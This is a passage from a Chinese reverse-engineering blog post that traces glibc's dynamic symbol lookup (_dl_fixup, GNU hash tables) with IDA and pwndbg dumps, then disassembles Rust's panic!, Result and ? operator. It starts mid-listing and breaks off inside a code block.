2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
LOAD:0000000000003DF8                               LOAD segment mempage public 'DATA' use64
LOAD:0000000000003DF8 assume cs:LOAD
LOAD:0000000000003DF8 ;org 3DF8h
LOAD:0000000000003DF8 01 00 00 00 00 00 00 00 01 00+stru_3DF8 Elf64_Dyn <1, 1> ; DATA XREF: LOAD:00000000000001A0↑o
LOAD:0000000000003DF8 00 00 00 00 00 00 ; .got.plt:0000000000004000↓o
LOAD:0000000000003DF8 ; DT_NEEDED libc.so.6
LOAD:0000000000003E08 0C 00 00 00 00 00 00 00 00 10+Elf64_Dyn <0Ch, 1000h> ; DT_INIT
LOAD:0000000000003E18 0D 00 00 00 00 00 00 00 E8 12+Elf64_Dyn <0Dh, 12E8h> ; DT_FINI
LOAD:0000000000003E28 19 00 00 00 00 00 00 00 E0 3D+Elf64_Dyn <19h, 3DE0h> ; DT_INIT_ARRAY
LOAD:0000000000003E38 1B 00 00 00 00 00 00 00 10 00+Elf64_Dyn <1Bh, 10h> ; DT_INIT_ARRAYSZ
LOAD:0000000000003E48 1A 00 00 00 00 00 00 00 F0 3D+Elf64_Dyn <1Ah, 3DF0h> ; DT_FINI_ARRAY
LOAD:0000000000003E58 1C 00 00 00 00 00 00 00 08 00+Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ
LOAD:0000000000003E68 F5 FE FF 6F 00 00 00 00 A0 03+Elf64_Dyn <6FFFFEF5h, 3A0h> ; DT_GNU_HASH
LOAD:0000000000003E78 05 00 00 00 00 00 00 00 B8 04+Elf64_Dyn <5, 4B8h> ; DT_STRTAB
LOAD:0000000000003E88 06 00 00 00 00 00 00 00 C8 03+dq 6 ; d_tag ; DT_SYMTAB
LOAD:0000000000003E88 00 00 00 00 00 00 dq 3C8h ; d_un
LOAD:0000000000003E98 0A 00 00 00 00 00 00 00 95 00+Elf64_Dyn <0Ah, 95h> ; DT_STRSZ
LOAD:0000000000003EA8 0B 00 00 00 00 00 00 00 18 00+Elf64_Dyn <0Bh, 18h> ; DT_SYMENT
LOAD:0000000000003EB8 15 00 00 00 00 00 00 00 00 00+Elf64_Dyn <15h, 0> ; DT_DEBUG
LOAD:0000000000003EC8 03 00 00 00 00 00 00 00 00 40+Elf64_Dyn <3, 4000h> ; DT_PLTGOT
LOAD:0000000000003ED8 02 00 00 00 00 00 00 00 60 00+Elf64_Dyn <2, 60h> ; DT_PLTRELSZ
LOAD:0000000000003EE8 14 00 00 00 00 00 00 00 07 00+Elf64_Dyn <14h, 7> ; DT_PLTREL
LOAD:0000000000003EF8 17 00 00 00 00 00 00 00 60 06+Elf64_Dyn <17h, 660h> ; DT_JMPREL
LOAD:0000000000003F08 07 00 00 00 00 00 00 00 88 05+Elf64_Dyn <7, 588h> ; DT_RELA
LOAD:0000000000003F18 08 00 00 00 00 00 00 00 D8 00+Elf64_Dyn <8, 0D8h> ; DT_RELASZ
LOAD:0000000000003F28 09 00 00 00 00 00 00 00 18 00+Elf64_Dyn <9, 18h> ; DT_RELAENT
LOAD:0000000000003F38 FB FF FF 6F 00 00 00 00 00 00+Elf64_Dyn <6FFFFFFBh, 8000000h> ; DT_FLAGS_1
LOAD:0000000000003F48 FE FF FF 6F 00 00 00 00 68 05+Elf64_Dyn <6FFFFFFEh, 568h> ; DT_VERNEED
LOAD:0000000000003F58 FF FF FF 6F 00 00 00 00 01 00+Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000003F68 F0 FF FF 6F 00 00 00 00 4E 05+Elf64_Dyn <6FFFFFF0h, 54Eh> ; DT_VERSYM
LOAD:0000000000003F78 F9 FF FF 6F 00 00 00 00 04 00+Elf64_Dyn <6FFFFFF9h, 4> ; DT_RELACOUNT
LOAD:0000000000003F88 00 00 00 00 00 00 00 00 00 00+Elf64_Dyn <0> ; DT_NULL

如上例所示,dynamic节实际上是由多个二元组构成,二元组的第一个元素为编号,用于标识表示的内容,如这里的5即代表.strtab节,即字符串表节的相对地址、6即代表.symtab节,即符号表的相对地址。所有这些常量定义在/elf/elf.h中。因此前面3条语句实际上是在获取ELF文件的符号表实例、字符串表实例、PLT相对跳转表(.rela.plt节)实例

第4行const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];是要根据.rela.plt中对应函数的r_info字段获取到.symtab符号表中的对应项:

1
2
3
4
5
6
7
8
9
10
11
12
13
LOAD:0000000000000660                               ; ELF JMPREL Relocation Table
LOAD:0000000000000660 18 40 00 00 00 00 00 00 07 00+dq 4018h ; r_offset ; R_X86_64_JUMP_SLOT write
LOAD:0000000000000660 00 00 02 00 00 00 00 00 00 00+dq 200000007h ; r_info
LOAD:0000000000000660 00 00 00 00 dq 0 ; r_addend
LOAD:0000000000000678 20 40 00 00 00 00 00 00 07 00+dq 4020h ; r_offset ; R_X86_64_JUMP_SLOT read
LOAD:0000000000000678 00 00 03 00 00 00 00 00 00 00+dq 300000007h ; r_info
LOAD:0000000000000678 00 00 00 00 dq 0 ; r_addend
LOAD:0000000000000690 28 40 00 00 00 00 00 00 07 00+dq 4028h ; r_offset ; R_X86_64_JUMP_SLOT malloc
LOAD:0000000000000690 00 00 06 00 00 00 00 00 00 00+dq 600000007h ; r_info
LOAD:0000000000000690 00 00 00 00 dq 0 ; r_addend
LOAD:00000000000006A8 30 40 00 00 00 00 00 00 07 00+dq 4030h ; r_offset ; R_X86_64_JUMP_SLOT _Exit
LOAD:00000000000006A8 00 00 08 00 00 00 00 00 00 00+dq 800000007h ; r_info
LOAD:00000000000006A8 00 00 00 00 dq 0 ; r_addend

如上例所示,这里是取r_info的高4字节,对于read为3,随后到符号表中查找:

1
2
3
4
5
6
7
8
9
10
LOAD:00000000000003C8 00 00 00 00 00 00 00 00 00 00+Elf64_Sym <0>
LOAD:00000000000003E0 50 00 00 00 20 00 00 00 00 00+Elf64_Sym <offset aItmDeregistert - offset unk_4B8, 20h, 0, 0, offset dword_0, 0> ; "_ITM_deregisterTMCloneTable"
LOAD:00000000000003F8 3E 00 00 00 12 00 00 00 00 00+Elf64_Sym <offset aWrite - offset unk_4B8, 12h, 0, 0, offset dword_0, 0> ; "write"
LOAD:0000000000000410 0B 00 00 00 12 00 00 00 00 00+Elf64_Sym <offset aRead - offset unk_4B8, 12h, 0, 0, offset dword_0, 0> ; "read"
LOAD:0000000000000428 2C 00 00 00 12 00 00 00 00 00+Elf64_Sym <offset aLibcStartMain - offset unk_4B8, 12h, 0, 0, offset dword_0, 0> ; "__libc_start_main"
LOAD:0000000000000440 6C 00 00 00 20 00 00 00 00 00+Elf64_Sym <offset aGmonStart - offset unk_4B8, 20h, 0, 0, offset dword_0, 0> ; "__gmon_start__"
LOAD:0000000000000458 10 00 00 00 12 00 00 00 00 00+Elf64_Sym <offset aMalloc - offset unk_4B8, 12h, 0, 0, offset dword_0, 0> ; "malloc"
LOAD:0000000000000470 7B 00 00 00 20 00 00 00 00 00+Elf64_Sym <offset aItmRegistertmc - offset unk_4B8, 20h, 0, 0, offset dword_0, 0> ; "_ITM_registerTMCloneTable"
LOAD:0000000000000488 17 00 00 00 12 00 00 00 00 00+Elf64_Sym <offset aExit - offset unk_4B8, 12h, 0, 0, offset dword_0, 0> ; "_Exit"
LOAD:00000000000004A0 1D 00 00 00 22 00 00 00 00 00+Elf64_Sym <offset aCxaFinalize - offset unk_4B8, 22h, 0, 0, offset dword_0, 0> ; "__cxa_finalize"

可以看到,索引为3的表项正是read

第5行void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);即为获取函数的got表(.got.plt节)项地址。

_dl_fixup第二段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

这里的if判断条件中:

1
2
3
4
5
6
// /elf/elf.h, line 620

#define ELF32_ST_VISIBILITY(o) ((o) & 0x03)

/* For ELF64 the definitions are the same. */
#define ELF64_ST_VISIBILITY(o) ELF32_ST_VISIBILITY (o)

这里是与符号表项的st_other字段相关的判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// /sysdeps/generic/ldsodefs.h, line 44

#define VERSYMIDX(sym) (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX (sym))

// /elf/elf.h, line 887

#define DT_NUM 35 /* Number used */

// /sysdeps/generic/dl-dtprocnum.h, line 21

#define DT_THISPROCNUM 0

// /elf/elf.h, line 949

#define DT_VERNEEDNUM 0x6fffffff /* Number of needed versions */
#define DT_VERSIONTAGIDX(tag) (DT_VERNEEDNUM - (tag)) /* Reverse order! */

// /elf/elf.h, line 937

#define DT_VERSYM 0x6ffffff0

内部的第一个判断与版本有关。根据上面的宏定义,我们要找的.dynamic表项索引应为35 + 0 + (0x6fffffff - 0x6ffffff0) = 0x32,这里的ElfW(Half)等同于uint16_t。最终获取到的vernum为指向.gnu.version节的指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
LOAD:000000000000054E                               ; ELF GNU Symbol Version Table
LOAD:000000000000054E 00 00 dw 0
LOAD:0000000000000550 00 00 dw 0 ; local symbol: _ITM_deregisterTMCloneTable
LOAD:0000000000000552 02 00 dw 2 ; write@@GLIBC_2.2.5
LOAD:0000000000000554 02 00 dw 2 ; read@@GLIBC_2.2.5
LOAD:0000000000000556 02 00 dw 2 ; __libc_start_main@@GLIBC_2.2.5
LOAD:0000000000000558 00 00 dw 0 ; local symbol: __gmon_start__
LOAD:000000000000055A 02 00 dw 2 ; malloc@@GLIBC_2.2.5
LOAD:000000000000055C 00 00 dw 0 ; local symbol: _ITM_registerTMCloneTable
LOAD:000000000000055E 02 00 dw 2 ; _Exit@@GLIBC_2.2.5
LOAD:0000000000000560 02 00 dw 2 ; __cxa_finalize@@GLIBC_2.2.5
LOAD:0000000000000562 00 00 dw 0
LOAD:0000000000000564 00 00 dw 0
LOAD:0000000000000566 00 00 dw 0

随后代码根据.relo.plt记录的索引值,找到.gnu.version节的对应值,对于read而言,这里获取的是2。之后会找到一个ld.so中的结构,其中记录有支持的libc版本与hash值等信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> tele 0x7ffff7fbb6b0
00:0000│ 0x7ffff7fbb6b0 ◂— 0
... ↓ 5 skipped
06:0030│ 0x7ffff7fbb6e0 —▸ 0x5555555544fc ◂— 'GLIBC_2.2.5'
07:0038│ 0x7ffff7fbb6e8 ◂— 0x9691a75
pwndbg>
08:0040│ 0x7ffff7fbb6f0 —▸ 0x5555555544b9 ◂— 'libc.so.6'
09:0048│ 0x7ffff7fbb6f8 ◂— 0
... ↓ 6 skipped
pwndbg>
10:0080│ 0x7ffff7fbb730 —▸ 0x7ffff7fc1381 ◂— push rbp /* 'LINUX_2.6' */
11:0088│ 0x7ffff7fbb738 ◂— 0x3ae75f6
12:0090│ 0x7ffff7fbb740 ◂— 0
... ↓ 5 skipped
pwndbg>
18:00c0│ 0x7ffff7fbb770 ◂— 0
19:00c8│ 0x7ffff7fbb778 ◂— 0
1a:00d0│ 0x7ffff7fbb780 —▸ 0x7ffff7d963d8 ◂— 'GLIBC_2.2.5'
1b:00d8│ 0x7ffff7fbb788 ◂— 0x9691a75
1c:00e0│ 0x7ffff7fbb790 ◂— 0
1d:00e8│ 0x7ffff7fbb798 —▸ 0x7ffff7d963e4 ◂— 'GLIBC_2.2.6'
1e:00f0│ 0x7ffff7fbb7a0 ◂— 0x9691a76
1f:00f8│ 0x7ffff7fbb7a8 ◂— 0
...

因此这里获取的Hash值为0x9691a75。

下面的第二个if与多线程有关,这里忽略。

_dl_fixup第三段

1
2
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

下面,就是真正的查找函数位置的流程。这里第1个参数为函数名在.strtab节中的偏移。

为了提升查询速度,ld.so不可能通过遍历所有动态链接库的所有函数名的方式查找匹配,在_dl_lookup_symbol_x中我们就能够窥见一二。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// /elf/dl-lookup.c, line 842

const uint_fast32_t new_hash = dl_new_hash (undef_name);
unsigned long int old_hash = 0xffffffff;
struct sym_val current_value = { NULL, NULL };
struct r_scope_elem **scope = symbol_scope;

bump_num_relocations ();

/* DL_LOOKUP_RETURN_NEWEST does not make sense for versioned
lookups. */
assert (version == NULL || !(flags & DL_LOOKUP_RETURN_NEWEST));

size_t i = 0;
if (__glibc_unlikely (skip_map != NULL))
/* Search the relevant loaded objects for a definition. */
while ((*scope)->r_list[i] != skip_map)
++i;

/* Search the relevant loaded objects for a definition. */
for (size_t start = i; *scope != NULL; start = 0, ++scope)
if (do_lookup_x (undef_name, new_hash, &old_hash, *ref,
&current_value, *scope, start, version, flags,
skip_map, type_class, undef_map) != 0)
break;

// /elf/dl-lookup.c, line 578

static uint_fast32_t
dl_new_hash (const char *s)
{
uint_fast32_t h = 5381;
for (unsigned char c = *s; c != '\0'; c = *++s)
h = h * 33 + c;
return h & 0xffffffff;
}

如上所示,ld.so实现了一个简单的哈希函数,输入为函数名,输出为int类型的哈希值,保存于new_hash变量中。随后看到do_lookup_x函数。

考虑到系统自带的libc与ld.so符号不全,因此可以重新编译带有所有符号的libc与ld.so辅助分析。编译方法见传送门。编译完成后执行下面的命令:

1
2
patchelf --set-interpreter <安装目录>/lib/ld-linux-x86-64.so.2 pwn
patchelf --set-rpath <安装目录>/lib pwn

即可将ld.so与libc.so替换为我们编译的带有调试符号的版本。

do_lookup_x第一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// /elf/dl-lookup.c, line 361

static int
__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
unsigned long int *old_hash, const ElfW(Sym) *ref,
struct sym_val *result, struct r_scope_elem *scope, size_t i,
const struct r_found_version *const version, int flags,
struct link_map *skip, int type_class, struct link_map *undef_map)
{
size_t n = scope->r_nlist;
/* Make sure we read the value before proceeding. Otherwise we
might use r_list pointing to the initial scope and r_nlist being
the value after a resize. That is the only path in dl-open.c not
protected by GSCOPE. A read barrier here might be to expensive. */
__asm volatile ("" : "+r" (n), "+m" (scope->r_list));
struct link_map **list = scope->r_list;

do
{
const struct link_map *map = list[i]->l_real;
...
}
while (++i < n);

在该函数开头,通过scope变量可以获取前文中提到的所有动态链接库的link_map结构实例(scope->r_list指向link_map结构指针的数组)。在do-while循环中,我们将看到ld.so遍历所有的实例,尝试在所有动态链接库中查找undef_name这个符号(函数名、全局变量等)。

do_lookup_x第二段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
     Elf_Symndx symidx;
int num_versions = 0;
const ElfW(Sym) *versioned_sym = NULL;

/* The tables for this map. */
const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);

const ElfW(Sym) *sym;
const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
if (__glibc_likely (bitmask != NULL))
{
ElfW(Addr) bitmask_word
= bitmask[(new_hash / __ELF_NATIVE_CLASS)
& map->l_gnu_bitmask_idxbits];

unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
& (__ELF_NATIVE_CLASS - 1));

if (__glibc_unlikely ((bitmask_word >> hashbit1)
& (bitmask_word >> hashbit2) & 1))
{
Elf32_Word bucket = map->l_gnu_buckets[new_hash
% map->l_nbuckets];
if (bucket != 0)
{
const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];

do
if (((*hasharr ^ new_hash) >> 1) == 0)
{
symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
sym = check_match (undef_name, ref, version, flags,
type_class, &symtab[symidx], symidx,
strtab, map, &versioned_sym,
&num_versions);
if (sym != NULL)
goto found_it;
}
while ((*hasharr++ & 1u) == 0);
}
}
/* No symbol found. */
symidx = SHN_UNDEF;
}

在if语句前面,可以看到首先获取了动态链接库的符号表地址与字符串表地址,后面还获取了一个l_gnu_bitmask,暂时功能未知,先向后看。如果这个指针不为空,那么进入if语句内部。这里首先通过bitmask[(new_hash / __ELF_NATIVE_CLASS) & map->l_gnu_bitmask_idxbits]在动态链接库的bitmask中以new_hash作为索引找到hash值对应的bitmask。在libc 2.31中,l_gnu_bitmask_idxbits为255。本例中new_hash的值为2090683713,__ELF_NATIVE_CLASS等于64,计算得到结果为53(0x35)。由于bitmask是uint64_t数组,因此可以索引到bitmask值,本例中为0x813140016c082646:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> p ((struct link_map*)0x7ffff7fcb000)->l_gnu_bitmask
$11 = (const Elf64_Addr *) 0x7ffff7e1b8b0
pwndbg> p new_hash
$13 = 2090683713
pwndbg> tele 0x7ffff7e1b8b0
...
pwndbg>
30:0180│ 0x7ffff7e1ba30 ◂— 0xc81890020142014
31:0188│ 0x7ffff7e1ba38 ◂— 0x12c20c1c107c0500
32:0190│ 0x7ffff7e1ba40 ◂— 0xc04010181000144
33:0198│ 0x7ffff7e1ba48 ◂— 0x28bc04e04dc80510
34:01a0│ 0x7ffff7e1ba50 ◂— 0x480002015100080
35:01a8│ 0x7ffff7e1ba58 ◂— 0x813140016c082646 // 0x35 = 53
36:01b0│ 0x7ffff7e1ba60 ◂— 0x22302a0880760408
37:01b8│ 0x7ffff7e1ba68 ◂— 0x9c940010648d020
...

随后,计算了两个hashbit,第1个是取最低6位,第2个是左移0xE位之后取最低6位。根据这两个hashbit取bitmask的2位,若均为1,则表示这个动态链接库中存在这个函数。下面要找到l_gnu_buckets数组,将Hash值模数组长度获得该数组的索引值,解引用获取一个4字节整数值bucket。本例中的整数值为0x3ab。(数组长度为0x3f3)。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> p *((struct link_map*)0x7ffff7fcb000)->l_nbuckets
Cannot access memory at address 0x3f3
pwndbg> p ((struct link_map*)0x7ffff7fcb000)->l_gnu_chain_zero
$16 = (const Elf32_Word *) 0x7ffff7e1d04c
pwndbg> tele 0x7FFFF7E1C734
00:0000│ 0x7ffff7e1c734 ◂— 0x3ab
01:0008│ 0x7ffff7e1c73c ◂— 0x3b2000003af
02:0010│ 0x7ffff7e1c744 ◂— 0x3b6000003b5
03:0018│ 0x7ffff7e1c74c ◂— 0x3bc000003b8
04:0020│ 0x7ffff7e1c754 ◂— 0x3c4000003c2
05:0028│ 0x7ffff7e1c75c ◂— 0x3cc000003c8
06:0030│ 0x7ffff7e1c764 ◂— 0x3d1000003cf
07:0038│ 0x7ffff7e1c76c ◂— 0x3d5000003d4

然后以这个值作为索引去l_gnu_chain_zero找到另一个整数值hasharr。本例中为0x4b236ea4。

1
2
3
4
5
6
7
8
9
10
11
pwndbg> p ((struct link_map*)0x7ffff7fcb000)->l_gnu_chain_zero
$18 = (const Elf32_Word *) 0x7ffff7e1d04c
pwndbg> tele 0x7FFFF7E1DEF8
00:0000│ 0x7ffff7e1def8 ◂— 0x7c9d4d404b236ea4
01:0008│ 0x7ffff7e1df00 ◂— 0x71d90e3dc280ddf8
02:0010│ 0x7ffff7e1df08 ◂— 0xffdb8ae60d827524
03:0018│ 0x7ffff7e1df10 ◂— 0x738b351c0021c67b
04:0020│ 0x7ffff7e1df18 ◂— 0xa9011613755d52c2
05:0028│ 0x7ffff7e1df20 ◂— 0x315a1cd2b2265f0f
06:0030│ 0x7ffff7e1df28 ◂— 0x5cc4dd64102bde19
07:0038│ 0x7ffff7e1df30 ◂— 0x33a12d7ed09ebde0

下面有一个do-while循环,推测应该是线性递增的Hash表查询。如本例中:

  • 首先计算0x4b236ea4 ^ 0x7c9d4d41 (2090683713, new_hash)值为0x37BE23E5,右移1位后不为0,跳过if语句。因为0x4b236ea4 & 1 == 0,循环继续。
  • 0x4b236ea4的下面一个整数值为0x7c9d4d40,它与0x7c9d4d41异或的值为1,右移1位后为0,进入if语句。此时索引值为0x3ac。
1
2
3
4
// /sysdeps/generic/ldsodefs.h, line 57

# define ELF_MACHINE_HASH_SYMIDX(map, hasharr) \
((hasharr) - (map)->l_gnu_chain_zero)

随后计算symidx,即该符号在动态链接库符号表中的索引值。根据上面的宏定义,可值该值等于0x3ac。通过这个索引值可在符号表中找到对应的Elf64_Sym实例。这个结构体中的st_name字段表示这个符号的名字在.strtab节中的偏移量,因此可由此进一步找到符号名,对比即可知道是否真正匹配。

总结下来,整个符号的查询过程大致如下图所示:

Reverse for panic!

在Rust中,panic!宏一般在程序发生无法恢复的错误后。下面将简单分析panic!的执行流程。

1
2
3
fn main() {
panic!("This is a panic");
}

输出结果:

1
2
3
4
5
6
7
8
9
10
11
12
thread 'main' panicked at src/main.rs:2:5:
This is a panic
stack backtrace:
0: rust_begin_unwind
at /rustc/3f5fd8dd41153bc5fdca9427e9e05be2c767ba23/library/std/src/panicking.rs:652:5
1: core::panicking::panic_fmt
at /rustc/3f5fd8dd41153bc5fdca9427e9e05be2c767ba23/library/core/src/panicking.rs:72:14
2: lab_01::main
at ./src/main.rs:2:5
3: core::ops::function::FnOnce::call_once
at /rustc/3f5fd8dd41153bc5fdca9427e9e05be2c767ba23/library/core/src/ops/function.rs:250:5
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

下面是主函数的逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
example::main::h6a0467faef132dda:
push rax
lea rdi, [rip + .L__unnamed_8]
lea rdx, [rip + .L__unnamed_9]
mov rax, qword ptr [rip + std::panicking::begin_panic::h98e090bdb7d9058a@GOTPCREL]
mov esi, 15
call rax

.L__unnamed_8:
.ascii "This is a panic"

.L__unnamed_12:
.ascii "/app/example.rs"

.L__unnamed_9:
.quad .L__unnamed_12
.asciz "\017\000\000\000\000\000\000\000\n\000\000\000\005\000\000"

可以看到,panic!宏实际上调用的是std::panicking::begin_panic,调用的参数一共有3个,前2个用于表示传入的字符串切片,而第3个则无法直接通过内容猜测功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
std::panicking::begin_panic::h98e090bdb7d9058a:
sub rsp, 40
mov qword ptr [rsp + 32], rdx
mov rax, qword ptr [rsp + 32]
mov qword ptr [rsp + 8], rdi
mov qword ptr [rsp + 16], rsi
mov qword ptr [rsp + 24], rax
mov rax, qword ptr [rip + std::sys_common::backtrace::__rust_end_short_backtrace::h09ebf2ec8a3c7498@GOTPCREL]
lea rdi, [rsp + 8]
call rax

std::sys_common::backtrace::__rust_end_short_backtrace::h09ebf2ec8a3c7498:
push rax
mov rax, qword ptr [rip + std::panicking::begin_panic::{{closure}}::hc0962f7734eef2e0@GOTPCREL]
call rax
ud2

std::panicking::begin_panic::{{closure}}::hc0962f7734eef2e0:
sub rsp, 56
mov rcx, qword ptr [rdi]
mov rax, qword ptr [rdi + 8]
mov qword ptr [rsp + 24], rcx
mov qword ptr [rsp + 32], rax
mov rcx, qword ptr [rsp + 24]
mov rax, qword ptr [rsp + 32]
mov qword ptr [rsp + 8], rcx
mov qword ptr [rsp + 16], rax
mov rcx, qword ptr [rdi + 16]
lea rsi, [rip + .L__unnamed_1]
mov rax, qword ptr [rip + std::panicking::rust_panic_with_hook::h51af00bcb4660c4e@GOTPCREL]
xor r9d, r9d
mov edx, r9d
lea rdi, [rsp + 8]
mov r8d, 1
call rax
jmp .LBB3_3
.LBB3_1:
mov rdi, qword ptr [rsp + 40]
call _Unwind_Resume@PLT
mov rcx, rax
mov eax, edx
mov qword ptr [rsp + 40], rcx
mov dword ptr [rsp + 48], eax
jmp .LBB3_1
.LBB3_3:
ud2

上面展示了前面的几个函数调用链,最终可以看到Rust调用了rust_panic_with_hook。通过堆栈回溯我们可以知道,回溯工作是在rust_begin_unwind中完成的。为了理解Rust是如何获取panic处的文件名、代码行数等信息的,我们需要首先了解有关堆栈回溯的相关技术,该部分内容可跳转至资料进行了解。需要注意的是,通过DWARF信息实现的堆栈回溯没有包含源代码目录以及行数的相关信息,这部分信息是在.debug_line中保存的。

Reverse for Result<T, E>

Result<T, E>是Rust中一个非常重要的枚举类型,通常作为返回值使用,自带标识函数调用成功与否的信息。

我们分析下面的Rust程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
use std::fs::File;
use std::io::{ErrorKind, Read};

fn main() {
let f = File::open("hello.txt");

let mut f = match f {
Ok(file) => file,
Err(error) => match error.kind() {
ErrorKind::NotFound => match File::create("hello.txt") {
Ok(fc) => fc,
Err(e) => panic!("Problem creating the file: {:?}", e),
},
other_error => panic!("Problem opening the file: {:?}", other_error),
},
};

let mut file_content = Vec::new();
match f.read(&mut file_content) {
Ok(_) => println!("File length: {}", file_content.len()),
Err(_) => println!("Error while reading.")
}
}

首先可以明显地看到位于41行File::open的函数调用,第一个参数为返回值Result的指针,第二个参数则为传入的字符串切片。

下面是一个大的判断语句,判断条件gap0实际上就是Result实例的索引值。观察代码可以发现,if条件成立后应该执行的是错误分支,否则执行正确分支。因此可以得出:Result索引值为1表示错误,0表示正确。

我们首先查看一下错误分支。在源代码中,我们还针对错误的具体类型使用match语句进行分支。错误类型属于Error结构,其中调用了kind函数获取错误类型。第48行中&v3.gap0[8]实际上就是Error实例的地址,位于Result枚举索引值的正后方,可以直接解引用获取ErrorKind枚举实例。

第51行直接将枚举实例作为条件进行判断。下面是ErrorKind的部分Rust源码:

1
2
3
4
5
6
7
8
9
10
#[derive(Clone, Copy, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[stable(feature = "rust1", since = "1.0.0")]
#[allow(deprecated)]
#[non_exhaustive]
pub enum ErrorKind {
/// An entity was not found, often a file.
#[stable(feature = "rust1", since = "1.0.0")]
NotFound,

......

可以看到NotFound是第一个,索引值应该为0。而if的判断条件是不为0,因此这部分分支对应的是other_error部分,这从后面的字符串输出也可以看出。在第61行的core::fmt::Arguments::new_v1::h6c1ad96880db1e98函数调用中第2个参数就是"Problem opening the file: "的字符串切片。

随后,第64行调用了std::fs::File::create创建文件,创建的结果保存在v7中,后面的if语句是在文件创建失败时进入,进一步验证了Result索引值为1代表错误的结论。

在循环外,第91行即为调用Vec::new()创建Vec实例,下面的第92行调用了deref函数获取了Vec的切片。在源代码中并没有deref函数的直接调用,但由于read函数传入的参数实际上是&mut [u8]而不是Vec,因此需要隐式调用deref。这里的第95行read参数解析失败,通过汇编代码可知其参数类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:000000000000AC96 48 8D BC 24 28 01 00 00       lea     rdi, [rsp+258h+var_130]         ; retstr
.text:000000000000AC9E E8 7D E3 FF FF call _ZN75_$LT$alloc__vec__Vec$LT$T$C$A$GT$$u20$as$u20$core__ops__deref__DerefMut$GT$9deref_mut17he73084c4a09ff985E ; _$LT$alloc..vec..Vec$LT$T$C$A$GT$$u20$as$u20$core..ops..deref..DerefMut$GT$::deref_mut::he73084c4a09ff985
.text:000000000000AC9E
.text:000000000000ACA3 48 89 54 24 18 mov [rsp+258h+var_240], rdx
.text:000000000000ACA8 48 89 44 24 20 mov [rsp+258h+var_238], rax
.text:000000000000ACAD EB 25 jmp short loc_ACD4

.text:000000000000ACD4 loc_ACD4: ; CODE XREF: lab_01::main::h059b97d6df6a6864+1ED↑j
.text:000000000000ACD4 48 8B 54 24 18 mov rdx, [rsp+258h+var_240]
.text:000000000000ACD9 48 8B 74 24 20 mov rsi, [rsp+258h+var_238]
.text:000000000000ACDE 48 8D 05 7B 71 01 00 lea rax, _ZN47_$LT$std__fs__File$u20$as$u20$std__io__Read$GT$4read17hae1516f05988cce4E ; _$LT$std..fs..File$u20$as$u20$std..io..Read$GT$::read::hae1516f05988cce4
.text:000000000000ACE5 48 8D 7C 24 44 lea rdi, [rsp+258h+var_214]
.text:000000000000ACEA FF D0 call rax ; _$LT$std..fs..File$u20$as$u20$std..io..Read$GT$::read::hae1516f05988cce4 ; _$LT$std..fs..File$u20$as$u20$std..io..Read$GT$::read::hae1516f05988cce4
.text:000000000000ACEA
.text:000000000000ACEC 48 89 54 24 08 mov [rsp+258h+var_250], rdx
.text:000000000000ACF1 48 89 44 24 10 mov [rsp+258h+var_248], rax
.text:000000000000ACF6 EB 00 jmp short $+2

下面的if判断则是针对read函数返回值Result,条件成立代表错误。

Reverse for Operator ?

在Rust中,?运算符能够简化错误传递的流程,使得源代码更加简练和优雅。理论上,?只起到了简化源代码书写的作用,下面进行验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
use std::io;
use std::io::Read;
use std::fs::File;

